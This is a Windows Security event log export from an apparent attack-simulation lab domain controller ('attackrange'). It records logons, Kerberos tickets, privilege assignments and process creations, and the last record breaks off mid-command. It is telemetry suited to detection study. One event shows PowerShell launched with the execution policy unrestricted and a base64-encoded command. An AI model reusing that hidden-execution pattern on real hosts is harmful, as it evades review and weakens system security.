ATTACKRANGE - Logon ID: 0xF2048 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250327 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107230 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250326 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x107230 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64434 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250325 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107230 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250324 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107187 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250323 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x107187 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64433 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250322 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x107187 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250321 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1070CA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250320 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1070CA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64432 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250319 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1070CA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250318 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x106FE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250317 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x106FE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64431 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250316 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x106FE6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250315 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250314 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250383 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1108 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250382 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1085D6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250381 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1085D6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250380 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250379 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DAA67AFB-3021-4172-D612-68D93CA3CCF8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250378 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250377 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250376 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1108 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10fc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 